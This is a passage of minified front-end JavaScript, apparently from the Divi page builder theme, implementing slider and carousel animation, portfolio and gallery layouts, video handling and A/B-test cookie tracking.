0!==c.eq(g).data("image")?"url(".concat(c.eq(g).data("image"),")"):"none";h+='<div class="et_pb_carousel_item '.concat(1===m?r.control_active_class:"",'" data-slide-id="').concat(g,'">')+'<div class="et_pb_video_overlay" href="#" style="background-image: '.concat(w,';">')+'<div class="et_pb_video_overlay_hover"><a href="#" class="et_pb_video_play"></a></div></div></div>'}h="".concat('<div class="et_pb_carousel"><div class="et_pb_carousel_items">').concat(h,"</div>")+"</div>",s.after(h),(a=s.siblings(".et_pb_carousel").find(r.carousel_controls)).on("click.et_pb_simple_slider",(function(){if(s.et_animation_running)return!1;var t=n(this);return s.et_slider_move_to(t.data("slide-id")),!1}))}function y(){v||(s.hasClass("et_pb_pause_slider")?setTimeout((function(){y()}),2e3):r.slideshow&&l>1&&!s.hasClass("et_slider_hovered")&&(o=setTimeout((function(){s.et_slider_move_to("next")}),r.slideshow_speed)))}function x(){var t=s,e=t.find(".et-pb-active-slide .et_pb_slide_image"),n=e.find("img"),i=t.find(".et-pb-active-slide .et_pb_slide_video"),a=e.closest(".et_pb_slide"),o=a.closest(".et_pb_slider"),r=parseFloat(o.innerHeight()),c=parseFloat(.8*r),l=parseFloat(e.height()),_=parseFloat(i.height()),d=k().children(".et_pb_module:visible").first(),p=d.find(".et_pb_slide .et_pb_container"),u=k().is(".et_pb_fullwidth_section"),f=parseFloat(p.height()),h=parseFloat(.8*f);isNaN(c)||(e.find("img").css("maxHeight","".concat(c,"px")),l=parseInt(e.height()),window.et_is_transparent_nav&&d.is(".et_pb_slider")&&u&&(e.find("img").css("maxHeight","".concat(h,"px")),l=parseInt(e.height()))),!isNaN(l)&&a.hasClass("et_pb_media_alignment_center")&&(e.css("marginTop","-".concat(l/2,"px")),n.data("hasLoadEvent")||(n.data("hasLoadEvent",!0),n.on("load",(function(){l=parseFloat(e.height()),e.css("marginTop","-".concat(l/2,"px"))})))),isNaN(_)||i.css("marginTop","-".concat(_/2,"px"))}function C(t){return t.hasClass("et_pb_bg_layout_light")?"et_pb_bg_layout_light":"et_pb_bg_layout_dark"}r.slideshow&&l>1&&s.on("mouseenter.et_pb_simple_slider",(function(){s.hasClass("et_slider_auto_ignore_hover")||(s.addClass("et_slider_hovered"),void 0!==o&&clearTimeout(o))})).on("mouseleave.et_pb_simple_slider",(function(){s.hasClass("et_slider_auto_ignore_hover")||(s.removeClass("et_slider_hovered"),y())})),y(),s.et_slider_destroy=function(){void 0!==o&&clearTimeout(o),v=!0,s.off(".et_pb_simple_slider"),s.find(".et_pb_slide").css({"z-index":"",display:"",opacity:""}),s.find(".et-pb-active-slide").removeClass("et-pb-active-slide"),s.find(".et-pb-moved-slide").removeClass("et-pb-moved-slide"),s.find(".et-pb-slider-arrows, .et-pb-controllers").remove(),s.siblings(".et_pb_carousel, .et-pb-controllers").remove(),s.removeData("et_pb_simple_slider")},s.et_fix_slider_content_images=x,window.et_load_event_fired?"function"==typeof et_fix_slider_height&&et_fix_slider_height(s):f.on("load",(function(){"function"==typeof et_fix_slider_height&&et_fix_slider_height(s)})),f.on("resize.et_simple_slider",(function(){et_fix_slider_height(s)})),s.et_slider_move_to=function(t){var e=(c=s.closest_descendent(r.slide)).eq(p);if(s.et_animation_running=!0,s.removeClass("et_slide_transition_to_next et_slide_transition_to_previous").addClass("et_slide_transition_to_".concat(t)),s.find(".et-pb-moved-slide").removeClass("et-pb-moved-slide"),"next"===t||"previous"===t)p="next"===t?p+1<l?p+1:0:p-1>=0?p-1:l-1;else{if(p===t)return s.find(".et-pb-inactive-slide").css({"z-index":"",display:"",opacity:0}),e.css({display:"block",opacity:1}).data("slide-status","active"),void(s.et_animation_running=!1);p=t}s.attr("data-active-slide",c.eq(p).data("slide-id")),void 0!==o&&clearTimeout(o);var u=c.eq(p);s.trigger("slide",{current:e,next:u}),void 0!==e.find("video")[0]&&void 0!==e.find("video")[0].player&&e.find("video")[0].player.pause(),void 0!==u.find("video")[0]&&void 0!==u.find("video")[0].player&&u.find("video")[0].player.play();var f,h,v,m=e.find(".et_pb_video_box iframe");if(m.length){var g=m.attr("src");g=(g=(g=g.replace(/\?autoplay=1$/,"")).replace(/\?autoplay=1&(amp;)?/,"?")).replace(/&(amp;)?autoplay=1/,""),setTimeout((function(){m.attr({src:g})}),r.fade_speed),m.parents(".et_pb_video_box").next(".et_pb_video_overlay").css({display:"block",opacity:1})}s.trigger("simple_slider_before_move_to",{direction:t,next_slide:u}),c.each((function(){n(this).css("zIndex",1)})),e.css("zIndex",2).removeClass("et-pb-active-slide").addClass("et-pb-moved-slide").data("slide-status","inactive"),u.css({display:"block",opacity:0}).addClass("et-pb-active-slide").data("slide-status","active"),h=(f=s).find(".et-pb-active-slide .et_pb_slide_video"),v=parseFloat(h.height()),f.find(".et_pb_slide_video .wp-video-shortcode").css({width:"",height:""}),isNaN(v)||h.css("marginTop","-".concat(v/2,"px")),x(),b&&setTimeout((function(){var t=n(".et_pb_circle_counter"),e=n(".et_pb_number_counter");window.et_fix_testimonial_inner_width(),t.length&&window.et_pb_reinit_circle_counters(t),e.length&&window.et_pb_reinit_number_counters(e),window.et_reinit_waypoint_modules()}),1e3),r.use_controls&&i.removeClass(r.control_active_class).eq(p).addClass(r.control_active_class),r.use_carousel&&a&&a.removeClass(r.control_active_class).eq(p).addClass(r.control_active_class),r.tabs_animation?(u.css({display:"none",opacity:0}),e.addClass("et_slide_transition").css({display:"block",opacity:1}).animate({opacity:0},_,(function(){n(this).css("display","none").removeClass("et_slide_transition"),u.css({display:"block",opacity:0}).animate({opacity:1},_,(function(){s.et_animation_running=!1,s.trigger("simple_slider_after_move_to",{next_slide:u}),n(window).trigger("resize")}))}))):(u.stop(!0,!0).animate({opacity:1},_),e.stop(!0,!0).addClass("et_slide_transition").css({display:"list-item",opacity:1}).animate({opacity:0},_,(function(){var t,i,a,o=C(e),r=C(u);d.isBuilder?n(this).removeClass("et_slide_transition"):n(this).css("display","none").removeClass("et_slide_transition"),(t=e).has("iframe").length?(a=(i=t.find("iframe")).attr("src"),i.attr("src",""),i.attr("src",a)):t.has("video").length&&(t.find(".et_pb_section_video_bg").length||(i=t.find("video"))[0].pause()),s.removeClass(o).addClass(r),s.et_animation_running=!1,s.hasClass("et_pb_gallery")&&"none"===u.css("maxHeight")&&u.css("maxHeight",u.outerHeight()),s.trigger("simple_slider_after_move_to",{next_slide:u})}))),u.find(".et_parallax_bg").length&&window.et_pb_parallax_init(u.find(".et_parallax_bg")),y()}},n.fn.et_pb_simple_slider=function(t){return this.each((function(){return n.data(this,"et_pb_simple_slider")||new n.et_pb_simple_slider(this,t)}))};var e="||",l="|";function C(t){var i=t.split(l)[0];if(n("#".concat(i)).length){if(window.location.hash){var a=window.location.hash.substring(1),o=[];if(-1!==a.indexOf(e,0)){for(var r=a.split(e),s=!1,c=0;c<r.length;c++)r[c].split(l)[0]===i?(o.push(t),s=!0):o.push(r[c]);s||o.push(t)}else a.split(l)[0]!==i&&o.push(a),o.push(t);a=o.join(e)}else a=t;var _=document.body.scrollTop;window.location.hash=a,document.body.scrollTop=_}}function T(){var e;void 0!==t.fn.mediaelementplayer&&(e=".et_audio_container","string"==typeof e&&(e=n(e)),e.not("#et-fb-app *")).each((function(){var e=t(this);e.find(".mejs-container").first().length>0||e.find("audio").mediaelementplayer(window._wpmejsSettings)}))}n.et_pb_simple_carousel=function(t,e){var i=n.extend({slide_duration:500},e),a=n(t),o=a.find(".et_pb_carousel_items"),r=o.find(".et_pb_carousel_item");function s(t){r.width();var e=r.height();t.parent().hasClass("et_pb_with_border")&&(e=r.outerHeight()),o.css("height","".concat(e,"px"))}function c(t){var e=3,i=t.parents('.et_pb_column:not(".et_pb_specialty_column")');if(i.hasClass("et_pb_column_4_4")||i.hasClass("et_pb_column_3_4")||i.hasClass("et_pb_column_2_3")?f.width()>=768&&(e=4):i.hasClass("et_pb_column_1_4")?f.width()<=480&&f.width()>=980&&(e=2):i.hasClass("et_pb_column_3_5")?e=4:(i.hasClass("et_pb_column_1_5")||i.hasClass("et_pb_column_1_6"))&&(e=2),e!==o.data("portfolio-columns")&&!t.data("columns_setting_up")){t.data("columns_setting_up",!0),o.removeClass("columns-".concat(o.data("portfolio-columns"))),o.addClass("columns-".concat(e)),o.data("portfolio-columns",e),o.find(".et-carousel-group").length&&(r.appendTo(o),o.find(".et-carousel-group").remove());var a=o.data("items"),s=n('<div class="et-carousel-group active">').appendTo(o);r.data("position",""),a.length<=e?o.find(".et-pb-slider-arrows").hide():o.find(".et-pb-slider-arrows").show();for(var c=1,l=0;l<a.length;l++,c++)l<e?(n(a[l]).show(),n(a[l]).appendTo(s),n(a[l]).data("position",c),n(a[l]).addClass("position_".concat(c))):(c=n(a[l]).data("position"),n(a[l]).removeClass("position_".concat(c)),n(a[l]).data("position",""),n(a[l]).hide());t.data("columns_setting_up",!1)}}a.et_animation_running=!1,a.addClass("container-width-change-notify").on("containerWidthChanged",(function(t){c(a),s(a)})),o.data("items",r.toArray()),a.data("columns_setting_up",!1),o.prepend("".concat('<div class="et-pb-slider-arrows"><a class="et-pb-slider-arrow et-pb-arrow-prev" href="#"><span>').concat(et_pb_custom.previous,"</span>")+'</a><a class="et-pb-slider-arrow et-pb-arrow-next" href="#">'+"<span>".concat(et_pb_custom.next,"</span>")+"</a></div>"),c(a),s(a),a.find(".et-pb-arrow-next"),a.find(".et-pb-arrow-prev"),a.on("click",".et-pb-arrow-next",(function(){return a.et_animation_running||a.et_carousel_move_to("next"),!1})),a.on("click",".et-pb-arrow-prev",(function(){return a.et_animation_running||a.et_carousel_move_to("previous"),!1})),a.on("swipeleft",(function(){a.et_carousel_move_to("next")})),a.on("swiperight",(function(){a.et_carousel_move_to("previous")})),a.et_carousel_move_to=function(t){var e=o.find(".et-carousel-group.active"),s=o.data("items"),c=o.data("portfolio-columns");a.et_animation_running=!0;var l=0;e.children().each((function(){n(this).css({position:"absolute",left:"".concat(l,"px")}),l+=n(this).outerWidth(!0)})),n("body").addClass("et-pb-is-sliding-carousel");var _=e.find(".et_pb_carousel_item").length,d=0;if("next"==t){var p,u=1,f=1,h=C=(x=s.indexOf(e.children().first()[0]))+c,b=h+c;(p=n('<div class="et-carousel-group next" style="display: none;left: 100%;position: absolute;top: 0;">').insertAfter(e)).css({width:"".concat(e.innerWidth(),"px")}).show();for(var v=0,m=0;m>=x&&m<C&&(n(s[v]).addClass("changing_position current_position current_position_".concat(u)),n(s[v]).data("current_position",u),u++),m>=h&&m<b&&(n(s[v]).data("next_position",f),n(s[v]).addClass("changing_position next_position next_position_".concat(f)),n(s[v]).hasClass("current_position")?(n(s[v]).clone(!0).appendTo(e).hide().addClass("delayed_container_append_dup").attr("id","".concat(n(s[v]).attr("id"),"-dup")),n(s[v]).addClass("delayed_container_append")):n(s[v]).addClass("container_append"),f++),!(f>c);v++,m++)v>=s.length-1&&(v=-1);var g=o.find(".container_append, .delayed_container_append_dup").sort((function(t,e){var i=parseInt(n(t).data("next_position")),a=parseInt(n(e).data("next_position"));return i<a?-1:i>a?1:0}));n(g).show().appendTo(p),l=0,p.children().each((function(){n(this).css({position:"absolute",left:"".concat(l,"px")}),l+=n(this).outerWidth(!0)})),e.animate({left:"-100%"},{duration:i.slide_duration,progress:function(t,n){n>d/_&&(d++,e.find(".et_pb_carousel_item:nth-child(".concat(d,")")).addClass("item-fade-out"),p.find(".et_pb_carousel_item:nth-child(".concat(d,")")).addClass("item-fade-in"))},complete:function(){o.find(".delayed_container_append").each((function(){l=n("#".concat(n(this).attr("id"),"-dup")).css("left"),n(this).css({position:"absolute",left:l}),n(this).appendTo(p)})),e.removeClass("active"),e.children().each((function(){var t=n(this).data("position");u=n(this).data("current_position"),n(this).removeClass("position_".concat(t," ")+"changing_position current_position current_position_".concat(u)),n(this).data("position",""),n(this).data("current_position",""),n(this).hide(),n(this).css({position:"",left:""}),n(this).appendTo(o)})),o.find(".item-fade-out").removeClass("item-fade-out"),p.find(".item-fade-in").removeClass("item-fade-in"),n("body").removeClass("et-pb-is-sliding-carousel"),e.remove()}});var w=e.width()+parseInt(r.first().css("marginRight").slice(0,-2));p.addClass("active").css({position:"absolute",top:"0px",left:"".concat(w,"px")}),p.animate({left:"0%"},{duration:i.slide_duration,complete:function(){p.removeClass("next").addClass("active").css({position:"",width:"",top:"",left:""}),p.find(".changing_position").each((function(t){var e=n(this).data("position");u=n(this).data("current_position"),f=n(this).data("next_position"),n(this).removeClass("container_append delayed_container_append position_".concat(e," ")+"changing_position current_position current_position_".concat(u," next_position next_position_").concat(f)),n(this).data("current_position",""),n(this).data("next_position",""),n(this).data("position",t+1)})),p.children().css({position:"",left:""}),p.find(".delayed_container_append_dup").remove(),a.et_animation_running=!1}})}else if("previous"==t){u=c;var y,x,C,k=c,j=c-1,T=(C=(x=s.indexOf(e.children().last()[0]))-j)-1,O=T-j;(y=n('<div class="et-carousel-group prev" style="display: none;left: 100%;position: absolute;top: 0;">').insertBefore(e)).css({left:"-".concat(e.innerWidth(),"px"),width:"".concat(e.innerWidth(),"px")}).show();for(var S=s.length-1,P=s.length-1;P<=x&&P>=C&&(n(s[S]).addClass("changing_position current_position current_position_".concat(u)),n(s[S]).data("current_position",u),u--),P<=T&&P>=O&&(n(s[S]).data("prev_position",k),n(s[S]).addClass("changing_position prev_position prev_position_".concat(k)),n(s[S]).hasClass("current_position")?(n(s[S]).clone(!0).appendTo(e).addClass("delayed_container_append_dup").attr("id","".concat(n(s[S]).attr("id"),"-dup")),n(s[S]).addClass("delayed_container_append")):n(s[S]).addClass("container_append"),k--),!(k<=0);S--,P--)0==S&&(S=s.length);g=o.find(".container_append, .delayed_container_append_dup").sort((function(t,e){var i=parseInt(n(t).data("prev_position")),a=parseInt(n(e).data("prev_position"));return i<a?-1:i>a?1:0})),n(g).show().appendTo(y),l=0,y.children().each((function(){n(this).css({position:"absolute",left:"".concat(l,"px")}),l+=n(this).outerWidth(!0)})),e.animate({left:"100%"},{duration:i.slide_duration,progress:function(t,n){if(n>d/_){var i=_-d;e.find(".et_pb_carousel_item:nth-child(".concat(i,")")).addClass("item-fade-out"),y.find(".et_pb_carousel_item:nth-child(".concat(i,")")).addClass("item-fade-in"),d++}},complete:function(){o.find(".delayed_container_append").reverse().each((function(){l=n("#".concat(n(this).attr("id"),"-dup")).css("left"),n(this).css({position:"absolute",left:l}),n(this).prependTo(y)})),e.removeClass("active"),e.children().each((function(){var t=n(this).data("position");u=n(this).data("current_position"),n(this).removeClass("position_".concat(t," ")+"changing_position current_position current_position_".concat(u)),n(this).data("position",""),n(this).data("current_position",""),n(this).hide(),n(this).css({position:"",left:""}),n(this).appendTo(o)})),o.find(".item-fade-out").removeClass("item-fade-out"),y.find(".item-fade-in").removeClass("item-fade-in"),n("body").removeClass("et-pb-is-sliding-carousel"),e.remove()}});var z=-1*e.width()-parseInt(r.first().css("marginRight").slice(0,-2));y.addClass("active").css({position:"absolute",top:"0px",left:"".concat(z,"px")}),y.animate({left:"0%"},{duration:i.slide_duration,complete:function(){y.removeClass("prev").addClass("active").css({position:"",width:"",top:"",left:""}),y.find(".delayed_container_append_dup").remove(),y.find(".changing_position").each((function(t){var e=n(this).data("position");u=n(this).data("current_position"),k=n(this).data("prev_position"),n(this).removeClass("container_append delayed_container_append position_".concat(e," ")+"changing_position current_position current_position_".concat(u," prev_position prev_position_").concat(k)),n(this).data("current_position",""),n(this).data("prev_position",""),e=t+1,n(this).data("position",e),n(this).addClass("position_".concat(e))})),y.children().css({position:"",left:""}),a.et_animation_running=!1}})}}},n.fn.et_pb_simple_carousel=function(t){return this.each((function(){return n.data(this,"et_pb_simple_carousel")||new n.et_pb_simple_carousel(this,t)}))},n((function(){n(window).trigger("et_pb_before_init_modules");var k=n(".et_pb_slider"),j=n(".et_pb_tabs"),S=n(".et_pb_section_video_bg"),P=n(".et_pb_newsletter_button"),z=n(".et_pb_newsletter_field .input"),I=n(".et_pb_filterable_portfolio"),A=n(".et_pb_fullwidth_portfolio"),E=n(".et_pb_gallery"),B=n(".et_pb_countdown_timer"),M=n(".et_post_gallery"),H=n(".et_pb_lightbox_image"),F=n(".et_pb_map_container"),L=n(".et_pb_circle_counter"),D=n(".et_pb_number_counter"),W=n(".et_parallax_bg"),q=(n(".et_pb_shop"),n(".single.et_pb_pagebuilder_layout.et_full_width_page"),n("[data-background-layout][data-background-layout-hover]")),N=null!==navigator.userAgent.match(/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/)||"standalone"in window.navigator&&!window.navigator.standalone,$=navigator.userAgent.match(/iPad/),V=null!==navigator.userAgent.match(/MSIE 9.0/),R=n(".et_pb_row"),Q=window.et_pb_custom&&!window.et_pb_custom.is_builder_plugin_used?n("body"):R,U=Q.width(),Z=(n("body").hasClass("et_vertical_fixed"),n("body").hasClass("rtl"),n("body").hasClass("et_hide_nav")),Y=(n("body").hasClass("et_header_style_left"),n("#top-header")),G=(n("#main-header"),n("#page-container"),n(".et_transparent_nav"),n("body.et_pb_pagebuilder_layout .et_pb_section:first-child"),n("#main-content .container:first-child")),X=(G.find(".et_post_meta_wrapper").first().find("h1"),G.find(".entry-content").first(),n("body.single-post"),n(".et_header_style_split"),n("#et-top-navigation"),n("#logo"),n(".et_pb_image_sticky")),J=n(".et_pb_counter_amount"),K=n(".et_pb_carousel"),tt=window.et_pb_custom&&window.et_pb_custom.is_divi_theme_used?n("ul.nav"):n(".et_pb_fullwidth_menu ul.nav"),et=window.et_pb_custom&&1e3*window.et_pb_custom.ab_bounce_rate,nt={},it="",at=(0,r.default)(window,"etCore.api.spam.recaptcha");n.each(et_pb_custom.ab_tests,(function(t,e){nt[e.post_id]={read_page:!1,read_goal:!1,view_goal:!1,click_goal:!1,con_goal:!1,con_short:!1}}));var ot=n(".et_pb_grid_item").parent().get(),rt=n(".et_pb_gutter_hover");window.et_pb_slider_init=function(t){var e={fade_speed:700,slide:t.hasClass("et_pb_gallery")?".et_pb_gallery_item":".et_pb_slide"};if(t.hasClass("et_pb_slider_no_arrows")&&(e.use_arrows=!1),t.hasClass("et_pb_slider_no_pagination")&&(e.use_controls=!1),t.hasClass("et_slider_auto")){e.slideshow=!0;var i=/et_slider_speed_(\d+)/g.exec(t.attr("class"));e.slideshow_speed=null===i?10:i[1]}t.parent().hasClass("et_pb_video_slider")&&(e.controls_below=!0,e.append_controls_to=t.parent(),setTimeout((function(){n(".et_pb_preload").removeClass("et_pb_preload")}),500)),t.hasClass("et_pb_slider_carousel")&&(e.use_carousel=!0),t.et_pb_simple_slider(e)};var st=tt;if(n(".et_pb_ab_shop_conversion").length&&void 0!==Bt("et_pb_ab_shop_log")&&""!==Bt("et_pb_ab_shop_log")){var ct=Bt("et_pb_ab_shop_log").split("_");Pt("con_goal",ct[0],ct[1],ct[2]),Mt(0,"et_pb_ab_shop_log=true")}function lt(t){var e="";if(t.length)if(t.each((function(){var t=n(this).attr("class").split("et_pb_column_")[1],i=(void 0!==t?t.split(" ",1)[0]:"4_4").replace("_","-").trim();e+="_".concat(i)})),-1!==e.indexOf("1-4")||-1!==e.indexOf("1-5_1-5")||-1!==e.indexOf("1-6_1-6"))switch(e){case"_1-4_1-4_1-4_1-4":e="et_pb_row_4col";break;case"_1-5_1-5_1-5_1-5_1-5":e="et_pb_row_5col";break;case"_1-6_1-6_1-6_1-6_1-6_1-6":e="et_pb_row_6col";break;default:e="et_pb_row".concat(e)}else e="";return e}if(n(".et_pb_ab_split_track").length&&n(".et_pb_ab_split_track").each((function(){var t=n(this).data("test_id"),e="et_pb_ab_shortcode_track_".concat(t);if(void 0!==Bt(e)&&""!==Bt(e)){var i=Bt(e).split("_");Pt("con_short",i[0],i[1],i[2]),Mt(0,"".concat(e,"=true"))}})),rt.length>0&&rt.each((function(){var t=n(this),e=t.data("original_gutter"),i=t.data("hover_gutter");t.on("mouseenter",(function(){t.removeClass("et_pb_gutters".concat(e)),t.addClass("et_pb_gutters".concat(i))})).on("mouseleave",(function(){t.removeClass("et_pb_gutters".concat(i)),t.addClass("et_pb_gutters".concat(e))}))})),window.et_pb_custom&&window.et_pb_custom.is_ab_testing_active&&n.each(et_pb_custom.ab_tests,(function(t,e){!function(t){if(!d.isBuilder){var e=It(t.post_id),i=zt(t.post_id);if(n.each(nt[t.post_id],(function(e){var n="click_goal"===e||"con_short"===e?"":i;nt[t.post_id][e]=Et("et_pb_ab_".concat(e,"_").concat(t.post_id).concat(t.test_id).concat(n),"true")})),nt[t.post_id].read_page||setTimeout((function(){Pt("read_page",t.post_id,void 0,t.test_id)}),et),"on"!==et_pb_custom.is_shortcode_tracking||nt[t.post_id].con_short||Mt(365,"et_pb_ab_shortcode_track_".concat(t.post_id,"=").concat(t.post_id,"_").concat(i,"_").concat(t.test_id)),e.length)if(e.hasClass("et_pb_module")&&(e.hasClass("et_pb_button")||e.find(".et_pb_button").length)){if(!e.hasClass("et_pb_contact_form_container")&&!e.hasClass("et_pb_newsletter")){var a=e.hasClass("et_pb_button")?e:e.find(".et_pb_button");if(e.hasClass("et_pb_comments_module")){var o=-1!==window.location.href.indexOf("#comment-"),r=Et("et_pb_ab_comment_log_".concat(t.post_id).concat(t.test_id),"true");o&&r&&(Pt("con_goal",t.post_id,void 0,t.test_id),Mt(0,"et_pb_ab_comment_log_".concat(t.post_id).concat(t.test_id,"=true")))}a.on("click",(function(){!e.hasClass("et_pb_comments_module")||nt[t.post_id].con_goal?St(e,"click_goal"):Mt(365,"et_pb_ab_comment_log_".concat(t.post_id).concat(t.test_id,"=true"))}))}}else e.on("click",(function(){e.hasClass("et_pb_shop")&&!nt[t.post_id].con_goal&&Mt(365,"et_pb_ab_shop_log=".concat(t.post_id,"_").concat(i,"_").concat(t.test_id)),St(e,"click_goal")}))}}(e)})),R.length&&R.each((function(){var t=n(this),e="";""!==(e=lt(t.find(">.et_pb_column")))&&t.addClass(e),t.find(".et_pb_row_inner").length&&t.find(".et_pb_row_inner").each((function(){var t=n(this);""!==(e=lt(t.find(".et_pb_column")))&&t.addClass(e)}));var i=t.parents(".et_pb_section.section_has_divider").length?6:3,a=isNaN(t.css("z-index"))||t.css("z-index")<i;t.find(".et_pb_module.et_pb_menu").length&&a&&t.css("z-index",i)})),window.et_pb_init_nav_menu(st),X.each((function(){window.et_pb_apply_sticky_image_effect(n(this))})),N&&(n(".et_pb_section_video_bg").each((function(){var t=n(this);t.closest(".et_pb_preload").removeClass("et_pb_preload"),t.hasClass("opened")&&t.remove()})),n("body").addClass("et_mobile_device"),$||n("body").addClass("et_mobile_device_not_ipad")),V&&n("body").addClass("et_ie9"),(S.length||d.isBuilder)&&(window.et_pb_video_section_init=function(t){t.find("video").mediaelementplayer({pauseOtherPlayers:!1,success:function(t,e){t.addEventListener("loadeddata",(function(){et_pb_resize_section_video_bg(n(e)),et_pb_center_video(n(e).closest(".mejs-video"))}),!1),t.addEventListener("canplay",(function(){n(e).closest(".et_pb_preload").removeClass("et_pb_preload")}),!1)}})},S.length>0&&et_pb_video_section_init(S)),T(),!i&&M.length>0){var _t=n.magnificPopup.instance;n("body").on("swiperight",".mfp-container",(function(){_t.prev()})),n("body").on("swipeleft",".mfp-container",(function(){_t.next()})),M.each((function(){n(this).magnificPopup({delegate:".et_pb_gallery_image a",type:"image",removalDelay:500,gallery:{enabled:!0,navigateByImgClick:!0},mainClass:"mfp-fade",zoom:{enabled:window.et_pb_custom&&!window.et_pb_custom.is_builder_plugin_used,duration:500,opener:function(t){return t.find("img")}},autoFocusLast:!1})})),M.find("a").off("click")}function dt(t){var e=t.parents(".et_pb_fullwidth_portfolio"),i=e.find(".et_pb_portfolio_items"),a=(i.find(".et_pb_portfolio_item"),i.find(".et_pb_carousel_group.active")),o=700,r=i.data("items"),s=i.data("portfolio-columns"),c=a.innerWidth()/s,l="".concat(100/s,"%");if(void 0!==r&&!e.data("carouseling"))if(e.data("carouseling",!0),a.children().each((function(){n(this).css({width:"".concat(c+1,"px"),"max-width":"".concat(c,"px"),position:"absolute",left:"".concat(c*(n(this).data("position")-1),"px")})})),t.hasClass("et-pb-arrow-next")){var _,d=1,p=1,u=y=(w=r.indexOf(a.children().first()[0]))+s,f=u+s,h=a.innerWidth();(_=n('<div class="et_pb_carousel_group next" style="display: none;left: 100%;position: absolute;top: 0;">').insertAfter(a)).css({width:"".concat(h,"px"),"max-width":"".concat(h,"px")}).show();for(var b=0,v=0;v>=w&&v<y&&(n(r[b]).addClass("changing_position current_position current_position_".concat(d)),n(r[b]).data("current_position",d),d++),v>=u&&v<f&&(n(r[b]).data("next_position",p),n(r[b]).addClass("changing_position next_position next_position_".concat(p)),n(r[b]).hasClass("current_position")?(n(r[b]).clone(!0).appendTo(a).hide().addClass("delayed_container_append_dup").attr("id","".concat(n(r[b]).attr("id"),"-dup")),n(r[b]).addClass("delayed_container_append")):n(r[b]).addClass("container_append"),p++),!(p>s);b++,v++)b>=r.length-1&&(b=-1);var m=i.find(".container_append, .delayed_container_append_dup").sort((function(t,e){var i=parseInt(n(t).data("next_position")),a=parseInt(n(e).data("next_position"));return i<a?-1:i>a?1:0}));n(m).show().appendTo(_),_.children().each((function(){n(this).css({width:"".concat(c,"px"),"max-width":"".concat(c,"px"),position:"absolute",left:"".concat(c*(n(this).data("next_position")-1),"px")})})),a.animate({left:"-100%"},{duration:o,complete:function(){i.find(".delayed_container_append").each((function(){n(this).css({width:"".concat(c,"px"),"max-width":"".concat(c,"px"),position:"absolute",left:"".concat(c*(n(this).data("next_position")-1),"px")}),n(this).appendTo(_)})),a.removeClass("active"),a.children().each((function(){var t=n(this).data("position");d=n(this).data("current_position"),n(this).removeClass("position_".concat(t," ")+"changing_position current_position current_position_".concat(d)),n(this).data("position",""),n(this).data("current_position",""),n(this).hide(),n(this).css({position:"",width:"","max-width":"",left:""}),n(this).appendTo(i)})),a.remove(),ut(e)}}),_.addClass("active").css({position:"absolute",top:"0px",left:"100%"}),_.animate({left:"0%"},{duration:o,complete:function(){setTimeout((function(){_.removeClass("next").addClass("active").css({position:"",width:"","max-width":"",top:"",left:""}),_.find(".delayed_container_append_dup").remove(),_.find(".changing_position").each((function(t){var e=n(this).data("position");d=n(this).data("current_position"),p=n(this).data("next_position"),n(this).removeClass("container_append delayed_container_append position_".concat(e," ")+"changing_position current_position current_position_".concat(d," next_position next_position_").concat(p)),n(this).data("current_position",""),n(this).data("next_position",""),n(this).data("position",t+1)})),i.find(".et_pb_portfolio_item").removeClass("first_in_row last_in_row"),et_pb_set_responsive_grid(i,".et_pb_portfolio_item:visible"),_.children().css({position:"",width:l,"max-width":l,left:""}),e.data("carouseling",!1)}),100)}})}else{d=s;var g,w,y,x=s,C=s-1,k=(y=(w=r.indexOf(a.children().last()[0]))-C)-1,j=k-C;h=a.innerWidth(),(g=n('<div class="et_pb_carousel_group prev" style="display: none;left: 100%;position: absolute;top: 0;">').insertBefore(a)).css({left:"-".concat(h,"px"),width:"".concat(h,"px"),"max-width":"".concat(h,"px")}).show();for(var T=r.length-1,O=r.length-1;O<=w&&O>=y&&(n(r[T]).addClass("changing_position current_position current_position_".concat(d)),n(r[T]).data("current_position",d),d--),O<=k&&O>=j&&(n(r[T]).data("prev_position",x),n(r[T]).addClass("changing_position prev_position prev_position_".concat(x)),n(r[T]).hasClass("current_position")?(n(r[T]).clone(!0).appendTo(a).addClass("delayed_container_append_dup").attr("id","".concat(n(r[T]).attr("id"),"-dup")),n(r[T]).addClass("delayed_container_append")):n(r[T]).addClass("container_append"),x--),!(x<=0);T--,O--)0==T&&(T=r.length);var S=i.find(".container_append, .delayed_container_append_dup").sort((function(t,e){var i=parseInt(n(t).data("prev_position")),a=parseInt(n(e).data("prev_position"));return i<a?-1:i>a?1:0}));n(S).show().appendTo(g),g.children().each((function(){n(this).css({width:"".concat(c,"px"),"max-width":"".concat(c,"px"),position:"absolute",left:"".concat(c*(n(this).data("prev_position")-1),"px")})})),a.animate({left:"100%"},{duration:o,complete:function(){i.find(".delayed_container_append").reverse().each((function(){n(this).css({width:"".concat(c,"px"),"max-width":"".concat(c,"px"),position:"absolute",left:"".concat(c*(n(this).data("prev_position")-1),"px")}),n(this).prependTo(g)})),a.removeClass("active"),a.children().each((function(){var t=n(this).data("position");d=n(this).data("current_position"),n(this).removeClass("position_".concat(t," ")+"changing_position current_position current_position_".concat(d)),n(this).data("position",""),n(this).data("current_position",""),n(this).hide(),n(this).css({position:"",width:"","max-width":"",left:""}),n(this).appendTo(i)})),a.remove()}}),g.addClass("active").css({position:"absolute",top:"0px",left:"-100%"}),g.animate({left:"0%"},{duration:o,complete:function(){setTimeout((function(){g.removeClass("prev").addClass("active").css({position:"",width:"","max-width":"",top:"",left:""}),g.find(".delayed_container_append_dup").remove(),g.find(".changing_position").each((function(t){var e=n(this).data("position");d=n(this).data("current_position"),x=n(this).data("prev_position"),n(this).removeClass("container_append delayed_container_append position_".concat(e," ")+"changing_position current_position current_position_".concat(d," prev_position prev_position_").concat(x)),n(this).data("current_position",""),n(this).data("prev_position",""),e=t+1,n(this).data("position",e),n(this).addClass("position_".concat(e))})),i.find(".et_pb_portfolio_item").removeClass("first_in_row last_in_row"),et_pb_set_responsive_grid(i,".et_pb_portfolio_item:visible"),g.children().css({position:"",width:l,"max-width":l,left:""}),e.data("carouseling",!1)}),100)}})}}function pt(t,e){var i,a=t.find(".et_pb_portfolio_items"),o=a.width(),r=a.find(".et_pb_portfolio_item");if(r.length,void 0!==r){var s=o/(i=o>=1600?5:o>=1024?4:o>=768?3:o>=480?2:1)*.75;if(e&&a.css({height:"".concat(s,"px")}),r.css({height:"".concat(s,"px")}),i!==a.data("portfolio-columns")&&!t.data("columns_setting_up")){t.data("columns_setting_up",!0);var 